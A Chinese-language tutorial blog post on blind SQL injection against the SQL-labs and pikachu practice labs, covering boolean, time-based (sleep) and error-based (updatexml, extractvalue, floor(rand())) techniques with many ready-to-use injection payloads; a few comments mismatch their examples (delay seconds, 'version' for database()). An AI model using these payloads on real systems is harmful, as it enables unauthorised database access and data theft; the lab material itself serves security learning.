web安全sql注入盲注&布尔&延时&报错

一、SQL盲注概述

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

1.基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
2.基于时间的SQL盲注-延时判断
if,sleep
3.基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue

参考:https://www.jianshu.com/p/bc35f8dd4f7c
           https://xz.aliyun.com/t/7169#toc-19

数据库基本函数

like ‘%ro%’ #进行条件匹配,like ‘%{’ 表示末尾匹配、 like ‘{%’; 表示开头匹配、 like '%{%'表示全局匹配
web安全sql注入盲注&布尔&延时&报错_第1张图片

regexp ‘[a-z]’; #匹配a到z所有数据等 web安全sql注入盲注&布尔&延时&报错_第2张图片

if(条件,5,0) #条件成立延时执行2秒,否则延时执行3秒
在这里插入图片描述
在这里插入图片描述

sleep(5) #SQL语句延时执行3秒
在这里插入图片描述
mid(a,b,c) #从位置b开始,截取a字符串的c位
web安全sql注入盲注&布尔&延时&报错_第3张图片

substr(a,b,c) #从位置b开始,截取字符串a的c长度
web安全sql注入盲注&布尔&延时&报错_第4张图片
web安全sql注入盲注&布尔&延时&报错_第5张图片
web安全sql注入盲注&布尔&延时&报错_第6张图片
left(database(),1),database() #left(a,b)从左侧截取a的前b位
web安全sql注入盲注&布尔&延时&报错_第7张图片

length(database())=4 #判断数据库database()名的长度
web安全sql注入盲注&布尔&延时&报错_第8张图片
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
web安全sql注入盲注&布尔&延时&报错_第9张图片

基于布尔的SQL盲注

还是选择SQL-labs靶场的第5关,然后开始正常的注入发现有3列
web安全sql注入盲注&布尔&延时&报错_第10张图片
但是这里正常的联合注入,发现页面还是没有回显我们想要的信息
web安全sql注入盲注&布尔&延时&报错_第11张图片
接下来我们尝试布尔盲注,数据库字符第一位=a错误,数据库字符第一位=s返回正常

?id=1' and left(database(),1)='a' --+web安全sql注入盲注&布尔&延时&报错_第12张图片?id=1' and left(database(),1)='s' --+
web安全sql注入盲注&布尔&延时&报错_第13张图片
?id=1' and left(database(),1)>'f' --+
web安全sql注入盲注&布尔&延时&报错_第14张图片
然后判断数据库字符串长度,发现数据库有8位,后面直接写脚本就完事辽

?id=1' and length(database())=8 --+
web安全sql注入盲注&布尔&延时&报错_第15张图片

基于时间的SQL盲注-延时判断

SQL-labs靶场的第2关,还是和前面一样判断数据库第一位字符串
?id=1 and substr(database(),1,1)='s'--+
web安全sql注入盲注&布尔&延时&报错_第16张图片

这里加一个if判断语句,如果数据库第一位字符串正确则延迟两秒
?id=1 and if(substr(database(),1,1)='s',sleep(2),0)--+
web安全sql注入盲注&布尔&延时&报错_第17张图片
这里还可以直接判断数据库名正确就延迟3秒
?id=1 and if(database()='security',sleep(3),0) --+
web安全sql注入盲注&布尔&延时&报错_第18张图片

基于报错的SQL盲注-报错回显

正常mysql update更新语句 update flag set flag=‘cmss’ where id=2;
在这里插入图片描述
加上报错语句, update flag set flag='cmss'or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2; 爆出数据库名 flag
web安全sql注入盲注&布尔&延时&报错_第19张图片
然后我们在靶场pikachu 测试一下

1.在这个更新资料的位置
web安全sql注入盲注&布尔&延时&报错_第20张图片
1111' or updatexml(1,concat(0x7e,(version())),0) or' 在更新的构造sql语句尝试让他报错得到数据库版本信息
web安全sql注入盲注&布尔&延时&报错_第21张图片

' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '

' or extractvalue(1,concat(0x7e,database())) or ' 爆出数据库版本
web安全sql注入盲注&布尔&延时&报错_第22张图片
2.在注册的位置构造语句
web安全sql注入盲注&布尔&延时&报错_第23张图片

' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

' or extractvalue(1,concat(0x7e,database())) or ' 爆出数据库版本
web安全sql注入盲注&布尔&延时&报错_第24张图片
' or updatexml(1,concat(0x7e,(version())),0) or '爆出数据库版本

3.在删除的位置构造sql语句
web安全sql注入盲注&布尔&延时&报错_第25张图片
?id=59 or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

?id=59 or+updatexml+(1,concat(0x7e,database()),0) 爆出数据库版本
web安全sql注入盲注&布尔&延时&报错_第26张图片
web安全sql注入盲注&布尔&延时&报错_第27张图片
web安全sql注入盲注&布尔&延时&报错_第28张图片

你可能感兴趣的:(web安全,web安全,安全)